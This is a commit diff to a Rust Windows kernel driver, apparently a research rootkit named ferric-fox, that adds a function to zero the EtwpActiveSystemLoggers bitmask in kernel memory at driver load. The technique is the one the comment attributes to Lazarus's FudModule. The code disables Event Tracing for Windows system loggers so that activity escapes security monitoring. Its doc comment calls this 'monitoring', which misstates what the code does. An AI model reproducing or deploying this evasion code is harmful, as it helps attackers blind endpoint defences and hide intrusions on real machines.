Rootkit modify EtwpActiveSystemLoggers for Etw evasion

.vscode/settings.json

@@ -1,11 +1,15 @@
 {
     "cSpell.words": [
+        "bitmask",
+        "Etwp",
+        "Lpac",
         "nonoverlapping",
         "ntddk",
         "NTSTATUS",
         "PCUNICODE",
         "PDEVICE",
         "pirp",
-        "PUNICODE"
+        "PUNICODE",
+        "SILODRIVERSTATE"
     ]
 }

src/etw.rs

@@ -254,3 +254,53 @@ struct ListEntry {
     flink: *const c_void,
     blink: *const c_void,
 }
+
+/// Monitor the system logger bitmask as observed to be exploited by Lazarus in their FudModule rootkit.
+///
+/// This function monitors abuse of teh _ETW_SILODRIVERSTATE.SystemLoggerSettings.EtwpActiveSystemLoggers bitmask.
+pub fn clear_system_logger_bitmask() {
+    let address = resolve_relative_symbol_offset("EtwSendTraceBuffer", 78)
+        .expect("[ferric-fox] [-] Unable to resolve function EtwSendTraceBuffer")
+        as *const *const EtwSiloDriverState;
+
+    if address.is_null() {
+        println!("[ferric-fox] [-] Pointer to EtwSiloDriverState is null");
+        return;
+    }
+
+    // SAFETY: Null pointer checked above
+    if unsafe {*address}.is_null() {
+        println!("[ferric-fox] [-] Address for EtwSiloDriverState is null");
+        return;
+    } 
+    
+    // Calculate the offset in memory to the bitmask so we can disable it.
+    let logger_offset = size_of::<EtwSiloDriverState>();
+
+    // SAFETY: Null pointer checked above
+    let address_of_silo_driver_state_struct = unsafe { *address } as usize;
+    let logger_addr = address_of_silo_driver_state_struct + logger_offset - size_of::<u32>();
+    let addr = logger_addr as *mut u32;
+    
+    // SAFETY: Pointer is valid based off of calculations
+    unsafe { core::ptr::write(addr, 0) };
+
+    println!("[ferric-fox] [+] Successfully patched EtwpActiveSystemLoggers to 0");
+
+    
+}
+
+/// https://www.vergiliusproject.com/kernels/x64/windows-11/24h2/_ETW_SILODRIVERSTATE
+#[repr(C)]
+struct EtwSiloDriverState {
+    unused: [u8; 0x1087],
+    settings: EtwSystemLoggerSettings,
+}
+
+/// https://www.vergiliusproject.com/kernels/x64/windows-11/24h2/_ETW_SYSTEM_LOGGER_SETTINGS
+#[repr(C)]
+#[derive(Debug)]
+struct EtwSystemLoggerSettings {
+    unused: [u8; 0xf],
+    active_system_loggers: u32,
+}

src/lib.rs

@@ -7,7 +7,7 @@ extern crate wdk_panic;
 use core::{iter::once, ptr::null_mut};
 
 use alloc::vec::Vec;
-use etw::patch_etw_kernel_table;
+use etw::{clear_system_logger_bitmask, patch_etw_kernel_table};
 use wdk_alloc::WdkAllocator;
 #[global_allocator]
 static GLOBAL_ALLOCATOR: WdkAllocator = WdkAllocator;
@@ -42,7 +42,8 @@ pub unsafe extern "system" fn driver_entry(
         status
     );
 
-    patch_etw_kernel_table();
+    // patch_etw_kernel_table();
+    clear_system_logger_bitmask();
 
     status
 }